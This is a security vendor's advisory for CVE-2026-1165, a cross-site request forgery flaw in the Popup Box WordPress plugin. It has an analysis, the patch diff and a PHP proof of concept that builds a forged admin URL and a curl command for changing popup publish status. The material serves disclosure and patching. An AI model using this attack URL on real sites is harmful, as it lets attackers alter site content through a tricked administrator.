Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1165: Popup Box <= 6.1.1 – Cross-Site Request Forgery to Popup Status Change (ays-popup-box)

CVE ID CVE-2026-1165
Plugin ays-popup-box
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 6.1.1
Patched Version 6.1.2
Disclosed January 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1165:
The Popup Box WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to 6.1.1. This flaw allows unauthenticated attackers to change the publish status of popups by tricking an administrator into clicking a malicious link. The vulnerability stems from a flawed nonce verification mechanism in the popup status change functionality.

Atomic Edge research identified the root cause in the ‘publish_unpublish_popupbox’ function within the ays-popup-box/admin/partials/ays-pb-admin-display.php file. The vulnerable code at lines 23-24 executed the status change without proper nonce verification. The function checked only the ‘action’ parameter and ‘popupbox’ ID, then directly called $this->popupbox_obj->publish_unpublish_popupbox(). The nonce verification was absent, allowing CSRF attacks through simple GET requests to the admin interface.

The exploitation method involves crafting a malicious URL that targets the WordPress admin interface. An attacker creates a link containing ?page=ays-pb&action=publish&popupbox={ID} or ?page=ays-pb&action=unpublish&popupbox={ID} and tricks an administrator into clicking it. When the administrator visits the URL while logged in, the plugin processes the request without validating a nonce token. The attack requires the administrator to have the manage_options capability, but no user interaction beyond clicking the link.

The patch adds comprehensive security checks in ays-popup-box/admin/partials/ays-pb-admin-display.php. Lines 32-43 now verify the user has manage_options capability using current_user_can(). Lines 45-48 validate a nonce token with wp_verify_nonce(), requiring the specific nonce action ‘ays_pb_publish_unpublish_’ . $id. The patch also adds proper redirects with error handling for failed checks. The class-ays-pb-list-table.php file was updated to generate nonce-protected URLs using wp_nonce_url() for publish/unpublish actions.

Successful exploitation allows attackers to arbitrarily publish or unpublish popups on the target WordPress site. This can disrupt site functionality by hiding important popups or displaying unwanted content. While the vulnerability requires administrator interaction, it enables content manipulation without authentication. The impact is limited to popup status changes and does not provide direct code execution or data exfiltration.

Differential between vulnerable and patched code

Code Diff
--- a/ays-popup-box/admin/partials/ays-pb-admin-display.php
+++ b/ays-popup-box/admin/partials/ays-pb-admin-display.php
@@ -11,16 +11,53 @@
  * @package    Ays_Pb
  * @subpackage Ays_Pb/admin/partials
  */
+
+if (isset($_GET['error'])) {
+    if ($_GET['error'] === 'nonce') {
+        echo '<div class="notice notice-error ays-pb-notice"><p>' . __('Security check failed. Please try again.', 'ays-popup-box') . '</p></div>';
+    } elseif ($_GET['error'] === 'permissions') {
+        echo '<div class="notice notice-error ays-pb-notice"><p>' . __('You do not have sufficient permissions.', 'ays-popup-box') . '</p></div>';
+    }
+}
+
 $action = isset($_GET['action']) ? sanitize_text_field($_GET['action']) : '';
 $id = isset($_GET['popupbox']) ? absint( intval($_GET['popupbox']) ) : null;
 $popup_max_id = Ays_Pb_Data::get_max_id();

 if ($action == 'duplicate') {
+
+    if (!current_user_can('manage_options')) {
+        wp_redirect(add_query_arg('error', 'permissions', admin_url('admin.php?page=' . sanitize_text_field($_REQUEST['page']))));
+        exit;
+    }
+
+    $nonce = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) ?? '';
+    if (!wp_verify_nonce( sanitize_text_field( wp_unslash( $nonce ) ), $this->plugin_name . '-duplicate-popupbox-' . $id)) {
+        wp_redirect(add_query_arg('error', 'nonce', admin_url('admin.php?page=' . sanitize_text_field($_REQUEST['page']))));
+        exit;
+    }
+
     $this->popupbox_obj->duplicate_popupbox($id);
 }

-if ($action == 'unpublish' || $action == 'publish') {
+if ($action == 'unpublish' || $action == 'publish') {
+
+    if (!current_user_can('manage_options')) {
+        wp_redirect(add_query_arg('error', 'permissions', admin_url('admin.php?page=' . sanitize_text_field($_REQUEST['page']))));
+        exit;
+    }
+
+    $nonce = sanitize_text_field( wp_unslash( $_REQUEST['_wpnonce'] ) ) ?? '';
+    if (!wp_verify_nonce( sanitize_text_field( wp_unslash( $nonce ) ), 'ays_pb_publish_unpublish_' . $id)) {
+        wp_redirect(add_query_arg('error', 'nonce', admin_url('admin.php?page=' . sanitize_text_field($_REQUEST['page']))));
+        exit;
+    }
+
     $this->popupbox_obj->publish_unpublish_popupbox($id, $action);
+
+    wp_redirect(add_query_arg('success', 'status_changed', admin_url('admin.php?page=' . sanitize_text_field($_REQUEST['page']))));
+    exit;
+
 }

 $plus_icon_svg = "<span><img src='" . AYS_PB_ADMIN_URL . "/images/icons/plus-icon.svg'></span>";
--- a/ays-popup-box/ays-pb.php
+++ b/ays-popup-box/ays-pb.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Popup Box
  * Plugin URI:        http://ays-pro.com/wordpress/popup-box
  * Description:       Pop up anything you want! Create informative and promotional popups all in one plugin. Boost your website traffic with eye-catching popups.
- * Version:           6.1.1
+ * Version:           6.1.2
  * Author:            Popup Box Team
  * Author URI:        http://ays-pro.com/
  * License:           GPL-2.0+
@@ -35,7 +35,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'AYS_PB_NAME_VERSION', '6.1.1' );
+define( 'AYS_PB_NAME_VERSION', '6.1.2' );
 define( 'AYS_PB_NAME', 'ays-pb' );

 if( ! defined( 'AYS_PB_ADMIN_URL' ) ) {
--- a/ays-popup-box/includes/lists/class-ays-pb-list-table.php
+++ b/ays-popup-box/includes/lists/class-ays-pb-list-table.php
@@ -380,36 +380,76 @@
      */
     function column_title($item) {

-        // Run a security check.
-        if (empty($this->ays_pb_nonce) || ! wp_verify_nonce( $this->ays_pb_nonce, 'ays_pb_admin_popups_list_table_nonce' ) ) {
-            // This nonce is not valid.
-            wp_die('Nonce verification failed!');
-        }
-
-        if( !is_user_logged_in()){
-            wp_die(  esc_html__( 'Something went wrong', 'quiz-maker' ) );
-        }
-
-        // Verify unauthorized requests
-        if( !current_user_can( 'manage_options' ) ){
-            wp_die(  esc_html__( 'Something went wrong', 'quiz-maker' ) );
-        }
+        $duplicate_nonce = wp_create_nonce($this->plugin_name . "-duplicate-popupbox-" . absint($item["id"]));

-        $delete_nonce = wp_create_nonce($this->plugin_name . "-delete-popupbox");
-
-        $popup_name = ( isset($item["popup_name"]) && $item["popup_name"] != "" ) ? stripslashes( sanitize_text_field($item["popup_name"]) ) : stripslashes( sanitize_text_field($item["title"]) );
+        $popup_name = ( isset($item["popup_name"]) && $item["popup_name"] != "" )
+            ? stripslashes( sanitize_text_field($item["popup_name"]) )
+            : stripslashes( sanitize_text_field($item["title"]) );

         $popup_title_length = intval($this->title_length);
-
         $restitle = Ays_Pb_Admin::ays_pb_restriction_string("word", esc_attr($popup_name), $popup_title_length);
-
-        $title = sprintf("<a href='?page=%s&action=%s&popupbox=%d' title='%s'>%s</a>", esc_attr($_REQUEST["page"]), "edit", absint($item["id"]), esc_attr($popup_name), $restitle);
-
+
+        $title = sprintf(
+            '<a href="?page=%s&action=%s&popupbox=%d" title="%s">%s</a>',
+            esc_attr($_REQUEST["page"]),
+            "edit",
+            absint($item["id"]),
+            esc_attr($popup_name),
+            $restitle
+        );
+
         $actions = array(
-            'edit' => sprintf( "<a href='?page=%s&action=%s&popupbox=%d'>" . esc_html__('Edit', "ays-popup-box") . "</a>", esc_attr($_REQUEST["page"]), "edit", absint($item["id"]) ),
-            'duplicate' => sprintf( "<a href='?page=%s&action=%s&popupbox=%d'>" . esc_html__('Duplicate', "ays-popup-box") . '</a>', esc_attr($_REQUEST['page']), 'duplicate', absint($item['id']) ),
-            'delete' => sprintf( "<a class='ays_pb_confirm_del' data-message='%s' href='?page=%s&action=%s&popupbox=%d&_wpnonce=%s'>" . esc_html__('Delete', "ays-popup-box") . '</a>', $restitle, esc_attr($_REQUEST['page']), 'delete', absint($item['id']), $delete_nonce )
+            'edit' => sprintf(
+                '<a href="?page=%s&action=%s&popupbox=%d">%s</a>',
+                esc_attr($_REQUEST["page"]),
+                "edit",
+                absint($item["id"]),
+                esc_html__('Edit', "ays-popup-box")
+            ),
+            'duplicate' => sprintf(
+                '<a href="?page=%s&action=%s&popupbox=%d&_wpnonce=%s">%s</a>',
+                esc_attr($_REQUEST['page']),
+                'duplicate',
+                absint($item['id']),
+                $duplicate_nonce,
+                esc_html__('Duplicate', "ays-popup-box")
+            ),
+        );
+
+        $delete_nonce = wp_create_nonce($this->plugin_name . "-delete-popupbox");
+        $actions['delete'] = sprintf(
+            '<a class="ays_pb_confirm_del" data-message="%s" href="?page=%s&action=%s&popupbox=%d&_wpnonce=%s">%s</a>',
+            $restitle,
+            esc_attr($_REQUEST['page']),
+            'delete',
+            absint($item['id']),
+            $delete_nonce,
+            esc_html__('Delete', "ays-popup-box")
         );
+
+        $status = isset($item['onoffswitch']) ? $item['onoffswitch'] : 'Off';
+
+        if ($status === 'On') {
+            $unpublish_url = add_query_arg([
+                'page'     => $_REQUEST['page'],
+                'action'   => 'unpublish',
+                'popupbox' => absint($item['id'])
+            ], admin_url('admin.php'));
+
+            $unpublish_url = wp_nonce_url($unpublish_url, 'ays_pb_publish_unpublish_' . absint($item['id']));
+
+            $actions['unpublish'] = '<a href="' . esc_url($unpublish_url) . '">' . esc_html__('Unpublish', 'ays-popup-box') . '</a>';
+        } else {
+            $publish_url = add_query_arg([
+                'page'     => $_REQUEST['page'],
+                'action'   => 'publish',
+                'popupbox' => absint($item['id'])
+            ], admin_url('admin.php'));
+
+            $publish_url = wp_nonce_url($publish_url, 'ays_pb_publish_unpublish_' . absint($item['id']));
+
+            $actions['publish'] = '<a href="' . esc_url($publish_url) . '">' . esc_html__('Publish', 'ays-popup-box') . '</a>';
+        }

         return $title . $this->row_actions($actions);
     }
@@ -711,25 +751,26 @@
         if( !current_user_can( 'manage_options' ) ){
             wp_die(  esc_html__( 'Something went wrong', 'quiz-maker' ) );
         }
-
-        global $wpdb;
-        $pb_table = $wpdb->prefix . "ays_pb";
-
+
         if ($id == null) {
             return false;
         }

+        global $wpdb;
+        $pb_table = $wpdb->prefix . "ays_pb";
+
         $onoffswitch = ($action == "unpublish") ? "Off" : "On";

         $wpdb->update(
             $pb_table,
-            array(
-                "onoffswitch" => $onoffswitch
-            ),
+            array("onoffswitch" => $onoffswitch),
             array("id" => intval($id)),
             array("%s"),
             array("%d")
         );
+
+        // Optional: return true/false or the number of rows updated
+        return $wpdb->rows_affected > 0;
     }

     /**
@@ -1150,7 +1191,7 @@

         if ($result >= 0) {
             $message = "duplicated";
-            $url = esc_url_raw( remove_query_arg(array('action', 'popupbox')) ) . '&status=' . $message;
+            $url = esc_url_raw( remove_query_arg(array('action', 'popupbox', '_wpnonce')) ) . '&status=' . $message;
             wp_safe_redirect( $url );
             exit;
         }
@@ -2614,24 +2655,26 @@
         if (empty($status)) return;

         if ("created" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox created.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox created.", "ays-popup-box");
         elseif ("updated" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox saved.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox saved.", "ays-popup-box");
         elseif ("deleted" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox deleted.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox deleted.", "ays-popup-box");
         elseif ("duplicated" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox duplicated.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox duplicated.", "ays-popup-box");
         elseif ("published" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox published.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox published.", "ays-popup-box");
         elseif ("unpublished" == $status)
-            $updated_message = esc_html( esc_html__("PopupBox unpublished.", "ays-popup-box") );
+            $updated_message = esc_html__("PopupBox unpublished.", "ays-popup-box");
+        elseif ("status_changed" == $status)
+            $updated_message = esc_html__("Popup status updated successfully.", "ays-popup-box");
         elseif ("error" == $status)
             $updated_message = esc_html__( "You're not allowed to add popupbox for more popupboxes please checkout to ", "ays-popup-box")."<a href='https://ays-pro.com/wordpress/popup-box' target='_blank'>PRO ".esc_html__("version", "ays-popup-box")."</a>.";

         if (empty($updated_message)) return;

         ?>
-        <div class="notice notice-<?php echo esc_attr($type); ?> is-dismissible">
+        <div class="ays-pb-notice notice notice-<?php echo esc_attr($type); ?> is-dismissible">
             <p> <?php echo $updated_message; ?> </p>
         </div>
         <?php

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1165 - Popup Box <= 6.1.1 - Cross-Site Request Forgery to Popup Status Change

<?php
/**
 * Proof of Concept for CVE-2026-1165
 * This script demonstrates CSRF vulnerability in Popup Box plugin <= 6.1.1
 * The attack requires an administrator to click a malicious link while logged in
 */

// Target WordPress admin URL (must be accessible to the victim)
$target_url = 'http://vulnerable-site.com/wp-admin/admin.php';

// Parameters for the CSRF attack
$page = 'ays-pb';          // Popup Box admin page
$action = 'publish';       // Can be 'publish' or 'unpublish'
$popupbox_id = 1;          // ID of the popup to modify

// Construct the malicious URL
$attack_url = $target_url . '?page=' . urlencode($page) . 
                         '&action=' . urlencode($action) . 
                         '&popupbox=' . $popupbox_id;

echo "CSRF Attack URL for CVE-2026-1165:n";
echo $attack_url . "nn";

echo "Attack Description:n";
echo "1. An administrator must be logged into WordPressn";
echo "2. The administrator clicks the above linkn";
echo "3. The plugin processes the request without nonce verificationn";
echo "4. Popup with ID {$popupbox_id} will be {$action}ednn";

echo "To test with cURL (simulating admin session with cookies):n";
echo "curl -G '{$target_url}' \
  -d 'page={$page}' \
  -d 'action={$action}' \
  -d 'popupbox={$popupbox_id}' \
  -b 'wordpress_logged_in_xxx=admin_cookie_value'n";

// Note: In a real attack, the URL would be embedded in an email, forum post, or malicious site
// The victim only needs to visit the URL while authenticated
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School